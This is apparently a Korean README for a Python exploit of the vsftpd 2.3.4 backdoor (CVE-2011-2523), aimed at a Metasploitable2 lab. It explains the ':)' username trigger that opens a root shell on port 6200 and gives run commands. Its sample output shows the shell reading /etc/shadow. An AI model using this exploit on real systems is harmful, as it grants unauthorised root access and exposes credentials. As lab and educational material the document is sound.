
Python으로 처음부터 익스플로잇 개발. Metasploit 없음. 프레임워크 없음. 승인된 랩 대상에 대한 실제 CVE의 원시 소켓 수준 구현.
vsftpd(Very Secure FTP Daemon)는 Linux를 포함한 Unix 계열 플랫폼을 위한 FTP 서버로, GNU General Public License에 따라 배포됩니다.
2011년 7월, 2011년 6월 30일부터 7월 3일 사이에 다운로드 가능했던 vsftpd 버전 2.3.4가 침해되었다는 사실이 발견되었습니다. 신원이 확인되지 않은 공격자가 vsftpd 배포 서버에 접근하여 사용자에게 배포되기 전에 소스 코드에 직접 백도어를 삽입했습니다.
이는 vsftpd 설계상의 버그가 아니었습니다. 이는 공급망 공격(supply chain attack) 으로, 정상적인 소프트웨어가 악의적으로 변조된 버전으로 교체된 사건입니다.
삽입된 백도어 코드는 로그인 중 FTP 사용자 이름 필드를 감시합니다.
사용자 이름에 :)(스마일리 얼굴)이 포함되어 있으면, 백도어는 대상 머신에 포트 6200에 바인딩된 root 셸을 생성합니다 — 인증이 전혀 필요하지 않습니다.
공격 흐름:
공격자 → 포트 21 (FTP) → :)가 포함된 USER 전송 → 백도어 트리거 → 포트 6200에 root 셸 개방
공격자 → 포트 6200 → 완전한 대화형 root 셸
CWE 분류: CWE-78 — OS 명령에 사용되는 특수 요소의 부적절한 중화 (OS 명령 주입)
이 익스플로잇은 표준 라이브러리(socket)만을 사용하여 순수 Python으로 처음부터 작성되었습니다. Metasploit도, 익스플로잇 프레임워크도, 외부 의존성도 없습니다.
단계별 동작:
:)가 포함된 악성 FTP 사용자 이름을 전송하여 백도어 트리거# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
출력 예시:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| 시나리오 | 동작 |
|---|---|
| 포트 21 닫힘 | "Port is closed" 출력 후 정상 종료 |
| 연결 시간 초과 | "Connection timed out" 출력 후 정상 종료 |
| 잘못된 호스트 이름/IP | "Invalid target" 출력 후 정상 종료 |
| 잘못된 vsftpd 버전 | 불일치 메시지 출력 후 정상 종료 |
| 포트 6200 연결 불가 | 백도어 실패 메시지 출력 후 정상 종료 |
이 익스플로잇은 오직 교육 목적과 승인된 보안 연구를 위해서만 개발되었습니다.
완전히 격리된 실습 환경의 로컬 Metasploitable2 가상 머신에 대해서만 구축 및 테스트되었습니다.
소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 이 코드를 사용하지 마십시오. 무단 사용은 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 이에 상응하는 법률에 따라 불법입니다.
작성자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub